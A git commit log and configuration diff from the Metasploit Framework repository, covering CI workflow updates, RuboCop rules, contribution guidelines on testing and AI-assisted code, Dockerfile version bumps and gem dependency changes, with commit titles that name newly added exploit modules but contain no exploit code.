Jack Heysel faea5f7933 Responded to comments 2025-04-17 09:43:13 -07:00
bcoles 4f3f9acb51 modules/exploits/mainframe: Resolve RuboCop violations 2025-04-18 01:46:06 +10:00
Metasploit 47230175f4 Bump version of framework to 6.4.59 2025-04-17 10:40:04 -05:00
bcoles fb548c0fb6 modules/exploits/bsdi: Resolve RuboCop violations 2025-04-18 01:31:15 +10:00
bcoles dbb618ed56 modules/exploits/aix: Resolve RuboCop violations 2025-04-18 01:17:56 +10:00
jheysel-r7 f8a67b83e6 Update lib/msf/core/exploit/pgadmin.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-04-17 08:01:15 -07:00
Takah1ro e1b5109c70 Add BentoML RCE module (CVE-2025-32375) 2025-04-17 20:46:43 +09:00
Jack Heysel 3ead0fdf42 Add check for is_uac_enabled? 2025-04-16 17:59:53 -07:00
Jack Heysel 9a95f60df6 Updated service_permissions with action to exploit CVE-2025-21293 2025-04-16 10:55:05 -07:00
jenkins-metasploit 74d828c73d automatic module_metadata_base.json update 2025-04-16 13:31:17 +00:00
msutovsky-r7 7d70005884 Land #20041, BentoML RCE Module
Add BentoML RCE module (CVE-2025-27520)
2025-04-16 15:22:50 +02:00
Takahiro Yokoyama 5945e0db0e Update modules/exploits/linux/http/bentoml_rce_cve_2025_27520.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-04-16 22:05:04 +09:00
Takah1ro edcc30699a Make user be able to specify a particular endpoint 2025-04-16 21:47:31 +09:00
Takah1ro 4463bb2ced Support a pure-python payload 2025-04-16 21:25:36 +09:00
jenkins-metasploit 18a6973558 automatic module_metadata_base.json update 2025-04-16 12:10:27 +00:00
Simon Janusz 2d75b0191f Merge pull request #20043 from adfoster-r7/update-att-open-proxy-error-handling
Update att open proxy error handling
2025-04-16 12:59:01 +01:00
Takah1ro 6d936a72b1 Delete ARTIFACTS_ON_DISK 2025-04-16 20:54:22 +09:00
Takahiro Yokoyama 8dc4beba7f Update documentation/modules/exploit/linux/http/bentoml_rce_cve_2025_27520.md
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-04-16 20:48:34 +09:00
adfoster-r7 5b38fdb23c Update att open proxy error handling 2025-04-16 11:43:52 +01:00
Takah1ro a33a8d91fe Update the document 2025-04-16 12:52:15 +09:00
Jack Heysel 1cade8f18f Reponded to comments 2025-04-15 10:10:26 -07:00
jheysel-r7 4f76ff1633 Apply suggestions from code review
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-04-15 10:07:53 -07:00
Takah1ro e51cd24383 Add BentoML RCE module (CVE-2025-27520) 2025-04-15 22:46:42 +09:00
msutovsky-r7 39a8b1a879 Land #20040, adding ELF template for x64
Add elf_x64_template.s template source
2025-04-15 13:59:34 +02:00
e2002e ed49c2e9fb Merge https://github.com/rapid7/metasploit-framework into shodan_facets 2025-04-15 13:29:48 +02:00
bcoles 3975d09726 Add elf_x64_template.s template source 2025-04-15 21:08:36 +10:00
aaryan-11-x 0a3e3c3b6b Made all changes as requested 2025-04-14 23:40:25 +05:30
adfoster-r7 681c991c8b Merge pull request #20039 from cgranleese-r7/fixes-failing-workflow-errors
Fixes an issue were a step was using both `uses` and `run` in the same step
2025-04-14 13:52:44 +01:00
cgranleese-r7 3948d9c9b5 Fixes an issue were a step was using both uses and run in the same step 2025-04-14 12:25:50 +01:00
jenkins-metasploit a8d86b3b19 automatic module_metadata_base.json update 2025-04-14 06:32:59 +00:00
msutovsky-r7 140b93e802 Land #20022, Langflow RCE module
Add Langflow unauth RCE module (CVE-2025-3248)
2025-04-14 08:24:44 +02:00
jenkins-metasploit 9e3b34095c automatic module_metadata_base.json update 2025-04-13 17:46:26 +00:00
adfoster-r7 4f047910cb Merge pull request #20036 from bcoles/exploit-windows-local-unquoted-service-path
exploit/windows/local/unquoted_service_path: Check if write_file fails
2025-04-13 18:31:33 +01:00
adfoster-r7 3b8fd648bb Merge pull request #20035 from bcoles/rubocop-modules-encoders
modules/encoders: Resolve RuboCop violations
2025-04-13 18:29:46 +01:00
bcoles d85ccb2da1 modules/encoders: Resolve RuboCop violations 2025-04-14 00:10:31 +10:00
jenkins-metasploit ec5b21ff7e automatic module_metadata_base.json update 2025-04-13 13:52:07 +00:00
adfoster-r7 9a84d9a076 Merge pull request #20034 from bcoles/rubocop-modules-evasion
modules/evasion: Resolve RuboCop violations
2025-04-13 14:44:03 +01:00
jenkins-metasploit e9805fc0a1 automatic module_metadata_base.json update 2025-04-13 11:05:46 +00:00
adfoster-r7 5e4ba8ad3e Merge pull request #20032 from bcoles/rubocop-modules-nops
modules/nops: Resolve RuboCop violations
2025-04-13 11:57:54 +01:00
bcoles 06d1971f23 exploit/windows/local/unquoted_service_path: Check if write_file fails 2025-04-13 16:34:03 +10:00
bcoles 75ce408a0b modules/evasion: Resolve RuboCop violations 2025-04-13 11:47:01 +10:00
bcoles 509153920e modules/nops: Resolve RuboCop violations 2025-04-13 11:27:49 +10:00
adfoster-r7 4c485cef32 Merge pull request #20005 from fabpiaf/patch-1
Fix 19840 LoadError cannot load such file -- sqlite3/sqlite3_native
2025-04-13 00:31:38 +01:00
jenkins-metasploit 41361db566 automatic module_metadata_base.json update 2025-04-12 15:21:07 +00:00
adfoster-r7 aab01d5ed0 Merge pull request #20031 from bcoles/rubocop-modules-exploits-freebsd
modules/exploits/freebsd: Add Notes and resolve RuboCop violations
2025-04-12 16:14:39 +01:00
bcoles 8e5cfc0625 modules/exploits/freebsd: Add Notes and resolve RuboCop violations 2025-04-13 00:38:37 +10:00
Takah1ro c7fdcc8e91 Update the document 2025-04-12 10:21:13 +09:00
Takah1ro 1f6d5f36d2 Rubocop formatting and update check 2025-04-12 09:33:54 +09:00
Takahiro Yokoyama 4b588e130e Update modules/exploits/multi/http/langflow_unauth_rce_cve_2025_3248.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-04-12 09:16:55 +09:00
Jack Heysel cbc33ea9ce Remove extra space 2025-04-11 16:02:36 -07:00
Jack Heysel 4c5e0203dd Refactor pgAdmin modules to use new lib 2025-04-11 15:55:46 -07:00
jenkins-metasploit 636fdf49fe automatic module_metadata_base.json update 2025-04-11 19:47:29 +00:00
Brendan 3166d07240 Merge pull request #19982 from jvoisin/find_apps
Improve a bit modules/post/linux/gather/enum_protections.rb
2025-04-11 14:40:48 -05:00
e2002e ce3dddda63 Merge branch 'master' of https://github.com/e2002e/metasploit-framework 2025-04-11 20:53:51 +02:00
e2002e 887bf2c025 use facets for shodan 2025-04-11 20:53:30 +02:00
aaryan-11-x cd307984cb msftidy Fixes 2025-04-11 23:05:43 +05:30
aaryan-11-x de1aa520a4 RuboCop Fixes 2025-04-11 23:02:28 +05:30
aaryan-11-x 6fb4e2ef56 Added exploit module & documentation for CVE-2024-57488 2025-04-11 23:01:33 +05:30
adfoster-r7 10e8cbb48c Merge pull request #19953 from dwelch-r7/rails-7.1-upgrade
Rails 7.1 upgrade
2025-04-11 15:48:25 +01:00
jenkins-metasploit 3f161e07df automatic module_metadata_base.json update 2025-04-11 14:13:34 +00:00
msutovsky-r7 4acef2ba41 Land #19997, PIPE_FETCH option for fetch payloads
Add PIPE_FETCH option to fetch payloads to make payloads shorter
2025-04-11 16:06:56 +02:00
Metasploit 340b79a1d9 Bump version of framework to 6.4.58 2025-04-11 07:59:10 -05:00
Takah1ro f67dfe6a62 Update check 2025-04-11 21:51:45 +09:00
jvoisin c3c62e5fdd Improve a bit modules/post/linux/gather/enum_protections.rb
- Use proper names instead of executable names
- Add a file-based detection method, with the list taken from https://github.com/hackerschoice/hackshell/issues/6

Co-authored-by: Brendan <bwatters@rapid7.com>
2025-04-11 14:34:56 +02:00
Takahiro Yokoyama 0c20606c8c Update documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2025_3248.md
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-04-11 20:44:03 +09:00
Takah1ro 718a0bc5c7 Change directory from linux to multi 2025-04-11 14:45:10 +09:00
Takah1ro b613b0a41b Add Langflow unauth RCE module (CVE-2025-3248) 2025-04-11 14:07:54 +09:00
Spencer McIntyre 38e1cb5db2 Update the specs 2025-04-09 16:44:43 -04:00
Spencer McIntyre 608ebf2f4e Add LAPS support to ldap_paswords 2025-04-09 16:44:32 -04:00
Spencer McIntyre 02bb2e29ac Move ldap_hashdump -> ldap_passwords
We're shifting the focus to password recovery but we'll still gather
hashes if they're found.
2025-04-09 13:04:00 -04:00
Spencer McIntyre a5e1fb8ad3 Refactor the ldap_hashdump module 2025-04-09 13:04:00 -04:00
Spencer McIntyre ac5ba70bd2 Add the MsGkdi mixin 2025-04-09 13:04:00 -04:00
Spencer McIntyre daed558f9a Remove a piece of dead code 2025-04-09 13:04:00 -04:00
Spencer McIntyre d0e0703b5e Raise an error when there is no session 2025-04-09 13:04:00 -04:00
Spencer McIntyre bc881ab880 Apply rubocop changes to cms.rb 2025-04-09 13:04:00 -04:00
Spencer McIntyre 5c939dbeea Add CCM and GCM parameter definitions from RFC5911 2025-04-09 13:04:00 -04:00
bwatters-r7 6b220ba603 Reclaim character a la jvoisin 2025-04-09 08:56:11 -05:00
bwatters-r7 2459fa771c Add solution for pipe uri generation and update docs 2025-04-08 16:03:54 -05:00
Christophe De La Fuente 7e42746eb0 Code review and fixes
- Fix Pkcs12 filer to use case insensitive username and realm
- Handle nil values in `StoredPkcs12`
- Use `fallbacks` options in `ldap_login`
- Small fixes
2025-04-08 18:21:39 +02:00
Dean Welch 47b5f86994 Fix Rails 7.1 issue where ApplicationRecord.connection.active? returns false 2025-04-08 12:56:48 +01:00
Dean Welch 0954f5507e Rails 7.1 upgrade 2025-04-08 12:47:31 +01:00
lafried 94da99e948 Update platform.rb
Add another windows signature
2025-04-07 12:59:17 +01:00
sebaspf f55a0fe0b7 correct list formatting and add missing links
Add missing links for the Timeout Control and Stageless Mode Documentation.
Correct list formatting.
2025-04-06 19:55:22 +02:00
Spencer McIntyre ed66e1fbb9 Restore purging by default 2025-04-04 14:30:09 -04:00
Spencer McIntyre f8d8f1b1e3 Apply rubocop changes 2025-04-04 13:57:51 -04:00
sjanusz-r7 9808172c9e Address OPNSense login scanner PR feedback 2025-04-04 15:58:40 +01:00
fabpiaf 03d0f00892 Fix 19840 LoadError cannot load such file -- sqlite3/sqlite3_native 2025-04-04 10:00:31 +00:00
bwatters-r7 044200325a Add more suggested changes 2025-04-03 15:02:37 -05:00
Martin Sutovsky dcad2aea9d Refactoring clipboard options, using constants, changing default values 2025-04-03 10:51:28 +02:00
Christophe De La Fuente 3205c73ad2 Rebase on master and update Gemfile 2025-04-02 18:29:46 +02:00
Christophe De La Fuente 630c2c03bc Update certs command, pkcs12 matching and specs
- use the `status`, certificate's `not_before`/`not_after` and check if the TLS
  OID is present to filter pkcs12 before using them with PKInit
- add the `activate`, `deactivate` and `export` capabilities to the
  certs command
- add specs
2025-04-02 18:23:14 +02:00
Christophe De La Fuente e7535d8fae Add certs command & use pkinit if kerberos tickets are not available in cache 2025-04-02 18:23:14 +02:00
Christophe De La Fuente 31e8c30c12 Update ms_icpr and creds to reflect the changes in the Pkcs12 data model
- a separate field is now used for metadata (`private_metadata`) when
  creating a new Pkcs12
- the `creds` command now support adding an encrypted Pkcs12 with a password
2025-04-02 18:23:12 +02:00
Christophe De La Fuente 68b6e99858 Point Gemfile to the metasploit-credentials feature branch on cdelafuente-r7 repo 2025-04-02 18:22:31 +02:00
Martin Sutovsky 5458ca9b46 Fix constant reference 2025-04-02 11:57:13 +02:00
Martin Sutovsky 0efa9eed06 Allow to stop monitoring without specifying folder 2025-04-02 11:30:41 +02:00
Martin Sutovsky e02362284f Moving constant, change return value to true 2025-04-02 10:28:10 +02:00
bwatters-r7 8cfcfa3f78 Add Spencer suggestions 2025-04-01 16:58:23 -05:00
bwatters-r7 d1c6a6e82e Add Windows pipe fetch support and clean up options 2025-04-01 16:38:29 -05:00
bwatters-r7 23f06f28bd Put support check before command generation, too 2025-04-01 14:12:36 -05:00
Martin Sutovsky 85b643f69e Remove required argument for purge option 2025-04-01 18:35:30 +02:00
jheysel-r7 ca3c4a1362 Merge branch 'master' into get_naa_creds_via_relay 2025-04-01 09:34:35 -07:00
bwatters-r7 37175955cd Fix some https bugs and generate non-piped commands properly 2025-04-01 11:16:21 -05:00
bwatters-r7 d897ba86c7 Rebase and add support for piped fetch commands 2025-04-01 11:15:37 -05:00
Harrison Neal 28c0992e77 CVE-2024-9157 detection 2025-04-01 11:32:32 -04:00
sjanusz-r7 2b0d9b4971 Add OPNSense Login Scanner module 2025-03-31 14:57:44 +01:00
jheysel-r7 b3de2516bd Merge branch 'master' into get_naa_creds_via_relay 2025-03-21 10:43:20 -07:00
Jack Heysel 87a17424af Suggestions from code review 2025-03-21 10:34:08 -07:00
jheysel-r7 0f65539bb5 Apply suggestions from code review
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2025-03-21 08:53:53 -07:00
Martin Sutovsky 8acd85ece7 Force specifying download directory 2025-03-20 17:44:36 +01:00
Martin Sutovsky 4851d648e4 Adding more constants, more granural status messages 2025-03-15 19:52:52 +01:00
Martin Sutovsky 72150d9b5f Adjusting purge command & more clear print messages 2025-03-15 14:29:25 +01:00
Martin Sutovsky 02993e029c Using more variable path separator 2025-03-14 07:41:18 +01:00
Jack Heysel fdf4531c10 Add SMB to HTTP relay support for get_naa_creds 2025-03-13 10:59:59 -07:00
Martin Sutovsky a1c980c64a Bug fix, rollback to previous default value for downloading files 2025-03-07 12:19:27 +01:00
Martin Sutovsky 4481e1a275 Removing unnecessary variables 2025-03-07 11:27:26 +01:00
Martin Sutovsky 1be7c999ae Adding path normalization 2025-03-07 11:24:01 +01:00
Martin Sutovsky 4376716a5f Additional path traversal checks 2025-03-06 17:47:20 +01:00
Martin Sutovsky c074b8ba01 Adding --force option for overwriting existing files 2025-03-06 14:40:04 +01:00
Martin Sutovsky c92567e507 Moving default path into variable 2025-03-04 16:36:17 +01:00
Martin Sutovsky 4f2fe84352 Moving default save location, change defaut option for file download 2025-03-04 13:55:20 +01:00
Martin Sutovsky b526986922 Default clipboard download dir to more secure location 2025-03-04 12:04:00 +01:00
jvoisin b988b49f27 Add Notes->AKA for EquationGroup codenames
Sources used:
- https://www.rapid7.com/blog/post/2017/04/18/the-shadow-brokers-leaked-exploits-faq/
- https://github.com/x0rz/EQGRP
2025-02-23 20:36:12 +01:00
h4x-x0r 2b83fbf449 CVE-2022-38120
CVE-2022-38120
2025-02-20 02:02:36 +00:00
Martin Sutovsky f667179515 Removing execution of LINQPad file due to module recategorisation to persistence 2025-01-24 16:54:27 +01:00
msutovsky-r7 712b47b0bf Merge branch 'rapid7:master' into linqpad_deserialization 2025-01-24 16:52:29 +01:00
Martin Sutovsky 689e44f3ff Addressing some issues 2025-01-10 11:12:32 +01:00
Martin Sutovsky 2f351eae33 Addressing some issues 2025-01-10 11:12:21 +01:00
Martin Sutovsky 93c2360741 Renaming module to persistence module instead 2025-01-09 15:30:50 +01:00
Martin Sutovsky 058e7be47a Cleaning up module 2024-12-30 16:13:24 +01:00
msutovsky-r7 2a51f450cd Merge branch 'rapid7:master' into linqpad_deserialization 2024-12-30 15:59:32 +01:00
Martin Sutovsky 302052c692 LINQPad deserialization module init 2024-12-30 15:57:59 +01:00
jvoisin b2ad59d0aa Add modules/exploits/linux/local/udev_persistence.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-10-10 23:08:23 +02:00
5673 changed files with 239426 additions and 158911 deletions
+16 -13
View File
@@ -63,21 +63,23 @@ jobs:
fail-fast: false
matrix:
os:
- windows-2019
- windows-2022
- ubuntu-latest
ruby:
- '3.2'
- '3.4'
include:
# Powershell
- { command_shell: { name: powershell }, os: windows-2019 }
- { command_shell: { name: powershell }, os: windows-2022 }
- { command_shell: { name: powershell }, ruby: '3.4', os: windows-2022 }
- { command_shell: { name: powershell }, ruby: '3.4', os: windows-2025 }
# Linux
- { command_shell: { name: linux }, os: ubuntu-latest }
- { command_shell: { name: linux }, ruby: '3.4', os: ubuntu-latest }
# CMD
- { command_shell: { name: cmd }, os: windows-2019 }
- { command_shell: { name: cmd }, os: windows-2022 }
- { command_shell: { name: cmd }, ruby: '3.4', os: windows-2022 }
# TODO: Tests currently fail:
# - { command_shell: { name: cmd }, ruby: '3.4', os: windows-2025 }
runs-on: ${{ matrix.os }}
@@ -131,11 +133,11 @@ jobs:
if: runner.os == 'Windows'
run: git config --system core.longpaths true
- name: Setup Ruby
run: git config --system core.longpaths true
env:
BUNDLE_FORCE_RUBY_PLATFORM: true
uses: ruby/setup-ruby@v1
- name: Setup '${{ matrix.ruby }}' Ruby
# Skip for now to ensure CI passes on Windows server 2025 powershell tests
#env:
# BUNDLE_FORCE_RUBY_PLATFORM: true
uses: ruby/setup-ruby@eaecf785f6a34567a6d97f686bbb7bccc1ac1e5c
with:
ruby-version: ${{ matrix.ruby }}
bundler-cache: true
@@ -192,7 +194,8 @@ jobs:
BUNDLE_FORCE_RUBY_PLATFORM: true
uses: ruby/setup-ruby@v1
with:
ruby-version: '${{ matrix.ruby }}'
# use the default version from the .ruby-version file
ruby-version: '.ruby-version'
bundler-cache: true
cache-version: 4
+1 -1
View File
@@ -38,7 +38,7 @@ jobs:
fail-fast: true
matrix:
ruby:
- '3.0'
- '3.3'
name: Ruby ${{ matrix.ruby }}
steps:
+2
View File
@@ -33,6 +33,8 @@ on:
- 'metsploit-framework.gemspec'
- 'Gemfile.lock'
- '**/**ldap**'
- 'lib/metasploit/framework/tcp/**'
- 'lib/metasploit/framework/login_scanner/**'
- 'spec/acceptance/**'
- 'spec/support/acceptance/**'
- 'spec/acceptance_spec_helper.rb'
@@ -44,6 +44,7 @@ on:
- 'Gemfile.lock'
- 'data/templates/**'
- 'modules/payloads/**'
- 'lib/msf/base/sessions/**'
- 'lib/msf/core/payload/**'
- 'lib/msf/core/**'
- 'test/modules/**'
@@ -33,6 +33,8 @@ on:
- 'metsploit-framework.gemspec'
- 'Gemfile.lock'
- '**/**postgres**'
- 'lib/metasploit/framework/tcp/**'
- 'lib/metasploit/framework/login_scanner/**'
- 'spec/acceptance/**'
- 'spec/support/acceptance/**'
- 'spec/acceptance_spec_helper.rb'
+2 -2
View File
@@ -26,11 +26,11 @@ jobs:
- '3.3'
- '3.4'
os:
- ubuntu-20.04
- ubuntu-22.04
- ubuntu-24.04
- ubuntu-latest
- windows-2019
- windows-2022
- windows-2025
- macos-13
env:
@@ -68,10 +68,10 @@ jobs:
matrix:
os:
- macos-13
- windows-2019
- windows-2022
- ubuntu-latest
ruby:
- '3.2'
- '3.4'
meterpreter:
# Python
- { name: python, runtime_version: 3.8 }
@@ -87,8 +87,9 @@ jobs:
- { name: php, runtime_version: 8.3 }
include:
# Windows Meterpreter
- { meterpreter: { name: windows_meterpreter }, os: windows-2019 }
- { meterpreter: { name: windows_meterpreter }, os: windows-2022 }
- { meterpreter: { name: windows_meterpreter }, ruby: '3.4', os: windows-2022 }
# TODO: Screenshotting behavior fails:
# - { meterpreter: { name: windows_meterpreter }, ruby: '3.4', os: windows-2025 }
# Mettle
- { meterpreter: { name: mettle }, os: macos-13 }
@@ -196,12 +197,13 @@ jobs:
run: git config --system core.longpaths true
- name: Setup Ruby
run: git config --system core.longpaths true
env:
BUNDLE_FORCE_RUBY_PLATFORM: true
# Introduces flakiness when downloading zlib etc: https://github.com/sparklemotion/nokogiri/issues/3521
# BUNDLE_FORCE_RUBY_PLATFORM: true
# Required for macos13 pg gem compilation
PKG_CONFIG_PATH: "/usr/local/opt/libpq/lib/pkgconfig"
uses: ruby/setup-ruby@v1
# Pinned to avoid Windows compilation failure with nokogiri
uses: ruby/setup-ruby@eaecf785f6a34567a6d97f686bbb7bccc1ac1e5c
with:
ruby-version: ${{ matrix.ruby }}
bundler-cache: true
@@ -267,8 +269,31 @@ jobs:
working-directory: metasploit-payloads
- name: Build Windows payloads via Visual Studio 2022 Build (Windows)
shell: cmd
shell: pwsh
if: ${{ matrix.meterpreter.name == 'windows_meterpreter' && matrix.os == 'windows-2022' && inputs.build_metasploit_payloads }}
run: |
Set-Location "C:\Program Files (x86)\Microsoft Visual Studio\Installer\"
dir
$InstallPath = "C:\Program Files\Microsoft Visual Studio\2022\Enterprise"
$WorkLoads = '--config "D:\a\metasploit-payloads\metasploit-payloads\metasploit-payloads\c\meterpreter\vs-configs\vs2022.vsconfig"'
$Arguments = ('/c', "vs_installer.exe", 'modify', '--installPath', "`"$InstallPath`"", $WorkLoads, '--quiet', '--norestart', '--nocache')
$process = Start-Process -FilePath cmd.exe -ArgumentList $Arguments -Wait -PassThru -WindowStyle Hidden
if ($process.ExitCode -eq 0) {
Write-Host "components have been successfully added"
} else {
Write-Host "components were not installed"
exit 1
}
Set-Location "D:\a\metasploit-payloads\metasploit-payloads\metasploit-payloads\c\meterpreter"
$r = Invoke-Command -ScriptBlock { cmd.exe /c 'git submodule init && git submodule update' }
Write-Host $r
$r = Invoke-Command -ScriptBlock { cmd.exe /c '"C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\VsDevCmd.bat" && make.bat' }
Write-Host $r
working-directory: metasploit-payloads
- name: Build Windows payloads via Visual Studio 2025 Build (Windows)
shell: cmd
if: ${{ matrix.meterpreter.name == 'windows_meterpreter' && matrix.os == 'windows-2025' && inputs.build_metasploit_payloads }}
run: |
cd c/meterpreter
git submodule init && git submodule update
@@ -359,7 +384,7 @@ jobs:
if: always()
env:
BUNDLE_FORCE_RUBY_PLATFORM: true
uses: ruby/setup-ruby@v1
uses: ruby/setup-ruby@eaecf785f6a34567a6d97f686bbb7bccc1ac1e5c
with:
ruby-version: '3.3'
bundler-cache: true
+28 -4
View File
@@ -23,12 +23,10 @@ require:
- ./lib/rubocop/cop/lint/deprecated_gem_version.rb
- ./lib/rubocop/cop/lint/module_enforce_notes.rb
- ./lib/rubocop/cop/lint/detect_invalid_pack_directives.rb
- ./lib/rubocop/cop/lint/detect_metadata_trailing_leading_whitespace.rb
Layout/SpaceBeforeBrackets:
Description: >-
Disabled as it generates invalid code:
https://github.com/rubocop-hq/rubocop/issues/9499
Enabled: false
Enabled: true
Lint/AmbiguousAssignment:
Enabled: true
@@ -116,6 +114,12 @@ Style/DocumentDynamicEvalDefinition:
Style/EndlessMethod:
Enabled: true
Style/FormatStringToken:
Enabled: true
Exclude:
# We aren't ready to enable this for modules yet
- 'modules/**/*'
Style/HashExcept:
Enabled: true
@@ -155,9 +159,26 @@ Style/RedundantAssignment:
and return expression
Enabled: false
Style/RedundantParentheses:
Description: >-
Disabled as it sometimes improves the readability of code
Enabled: false
Style/RedundantRegexpArgument:
Enabled: true
Exclude:
# We aren't ready to enable this for modules yet
- 'modules/**/*'
Style/SwapValues:
Enabled: false
Layout/LineContinuationLeadingSpace:
Description: >-
Disabled as it sometimes improves the readability of code having leading spaces
for indented code strings.
Enabled: false
Layout/ModuleHashOnNewLine:
Enabled: true
@@ -652,3 +673,6 @@ Style/UnpackFirst:
Disabling to make it easier to copy/paste `unpack('h*')` expressions from code
into a debugging REPL.
Enabled: false
Lint/DetectMetadataTrailingLeadingWhitespace:
Enabled: true
+1 -1
View File
@@ -1 +1 @@
3.2.5
3.3.8
+5 -3
View File
@@ -25,8 +25,10 @@ will be closed. We need to ensure the code we're adding to master is written to
## Expedited Module Creation Process
We strive to respect the community that has given us so much, so in the odd situation where we get multiple submissions for the same vulnerability, generally we will work with the first person who assigns themselves to the issue or the first person that submits a good-faith PR. A good-faith PR might not even work, but it will show that the author is working their way toward a solution. Despite this general rule, there are rare circumstances where we may ask a contributor to step aside or allow a committer to take the lead on the creation of a new module if a complete and working module with documents has not already been submitted. This kind of expedited module creation process comes up infrequently, and usually it involves high-profile or high priority modules that we have marked internally as time-critical: think KEV list, active exploitation campaigns, CISA announcements, etc. In those cases, we may ask a contributor that is assigned to the issue or who has submitted an incomplete module to allow a committer to take over an issue or a module PR in the interest of getting a module out quickly. If a contributor has submitted an incomplete module, they will remain as a co-author of the module and we may build directly onto the PR they submitted, leaving the original commits in the tree. We sincerely hope that the original author will remain involved in this expedited module creation process. We would appreciate testing, critiquing, and any assistance that can be offered. If the module is complete but requires minor changes, we may ask the contributor to allow us to take over testing/verification and make these minor changes without asking so we can land the module as quickly as possible. In these cases of minor code changes, the authorship of the module will remain unchanged. We hope everyone involved in this expedited module creation process continues to feel valued and appreciated.
### Code Contribution Do's & Don'ts:
## Vibecoding, AI, and LLM
My first job had a token ring LAN and I still own a Win98SE CD, so I'm not entirely sure what _vibecoding_ is, but we're cool with any coding technique you use to create a PR as long as it is tested, documented, and does what it says it does. Untested code is incomplete code, and incomplete code should be marked as a draft PR or WIP (Work in Progress) until it is complete, tested, and ready for a committer to review. We have had several sumbissions clearly from AI that were well-formatted, looked really neat, and did nothing it said it did. While we have no problem with AI-assisted coding, please do not assume that the code generated by an AI or LLM is logically or even syntactically correct.
### Code Contribution Do's & Don'ts:
Keeping the following in mind gives your contribution the best chance of landing!
#### <u>Pull Requests</u>
@@ -42,7 +44,7 @@ Keeping the following in mind gives your contribution the best chance of landing
* **Do** target your pull request to the **master branch**.
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output], especially for effects that can be witnessed in the `msfconsole`.
* **Do** test your code.
* **Do** test your code and submit the test output in your PR with any sensitive information removed.
* **Do** list [verification steps] so committers can test your code.
* **Do** [reference associated issues] in your pull request description.
* **Don't** leave your pull request description blank.
@@ -85,7 +87,7 @@ When reporting Metasploit issues:
* **Don't** attempt to report issues on a closed PR.
If you need some more guidance, talk to the main body of open source contributors over on our
[Metasploit Slack] or [#metasploit on Freenode IRC].
[GitHub Discussions](https://github.com/rapid7/metasploit-framework/discussions) or [Metasploit Slack]
Finally, **thank you** for taking the few moments to read this far! You're already way ahead of the
curve, so keep it up!
+7 -6
View File
@@ -1,7 +1,7 @@
FROM ruby:3.2.5-alpine3.20 AS builder
FROM ruby:3.3.8-alpine3.21 AS builder
LABEL maintainer="Rapid7"
ARG BUNDLER_CONFIG_ARGS="set no-cache 'true' set system 'true' set without 'development test coverage'"
ARG BUNDLER_CONFIG_ARGS="set force_ruby_platform 'true' set no-cache 'true' set system 'true' set without 'development test coverage'"
ARG BUNDLER_FORCE_CLEAN="true"
ENV APP_HOME=/usr/src/metasploit-framework
ENV TOOLS_HOME=/usr/src/tools
@@ -24,6 +24,7 @@ RUN apk add --no-cache \
readline-dev \
sqlite-dev \
postgresql-dev \
libffi-dev \
libpcap-dev \
libxml2-dev \
libxslt-dev \
@@ -47,13 +48,13 @@ RUN apk add --no-cache \
ENV GO111MODULE=off
RUN mkdir -p $TOOLS_HOME/bin && \
cd $TOOLS_HOME/bin && \
curl -O https://dl.google.com/go/go1.21.1.src.tar.gz && \
tar -zxf go1.21.1.src.tar.gz && \
rm go1.21.1.src.tar.gz && \
curl -O https://dl.google.com/go/go1.24.0.src.tar.gz && \
tar -zxf go1.24.0.src.tar.gz && \
rm go1.24.0.src.tar.gz && \
cd go/src && \
./make.bash
FROM ruby:3.2.5-alpine3.20
FROM ruby:3.3.8-alpine3.21
LABEL maintainer="Rapid7"
ARG TARGETARCH
+5 -3
View File
@@ -24,21 +24,23 @@ group :development do
# memory profiling
gem 'memory_profiler'
# cpu profiling
gem 'ruby-prof', '1.4.2'
gem 'ruby-prof'
# Metasploit::Aggregator external session proxy
# disabled during 2.5 transition until aggregator is available
# gem 'metasploit-aggregator'
end
group :development, :test do
# For ./tools/dev/update_gem_licenses.sh
gem 'license_finder', '5.11.1'
# running documentation generation tasks and rspec tasks
gem 'rake'
# Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the
# environment is development
gem 'rspec-rails'
gem 'rspec-rerun'
# Required during CI as well local development - pinned due to CI failure on: rubocop-1.73.2/lib/rubocop/config_loader.rb:272:in `read'
gem 'rubocop', '1.67.0'
# Required during CI as well local development
gem 'rubocop', '1.75.7'
end
group :test do
+168 -94
View File
@@ -1,12 +1,12 @@
PATH
remote: .
specs:
metasploit-framework (6.4.57)
metasploit-framework (6.4.89)
aarch64
abbrev
actionpack (~> 7.0.0)
activerecord (~> 7.0.0)
activesupport (~> 7.0.0)
actionpack (~> 7.2.0)
activerecord (~> 7.2.0)
activesupport (~> 7.2.0)
aws-sdk-ec2
aws-sdk-ec2instanceconnect
aws-sdk-iam
@@ -20,7 +20,6 @@ PATH
bootsnap
bson
chunky_png
concurrent-ruby (= 1.3.4)
csv
dnsruby
drb
@@ -38,16 +37,17 @@ PATH
getoptlong
hrr_rb_ssh-ed25519
http-cookie
irb (~> 1.7.4)
irb
jsobfu
json
lru_redux
metasm
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.189)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.35)
metasploit-payloads (= 2.0.221)
metasploit_data_models (>= 6.0.7)
metasploit_payloads-mettle (= 1.0.45)
mqtt
msgpack (~> 1.6.0)
mutex_m
@@ -65,11 +65,13 @@ PATH
openvas-omp
ostruct
packetfu
parallel
patch_finder
pcaprub
pdf-reader
pg
puma
rack
railties
rasn1 (= 0.14.0)
rb-readline
@@ -97,13 +99,15 @@ PATH
rinda
ruby-macho
ruby-mysql
ruby_smb (~> 3.3.3)
ruby_smb (~> 3.3.15)
rubyntlm
rubyzip
sinatra
sqlite3 (= 1.7.3)
sshkey
stringio (= 3.1.1)
swagger-blocks
syslog
thin
tzinfo
tzinfo-data
@@ -123,29 +127,41 @@ GEM
aarch64 (2.1.0)
racc (~> 1.6)
abbrev (0.1.2)
actionpack (7.0.8.7)
actionview (= 7.0.8.7)
activesupport (= 7.0.8.7)
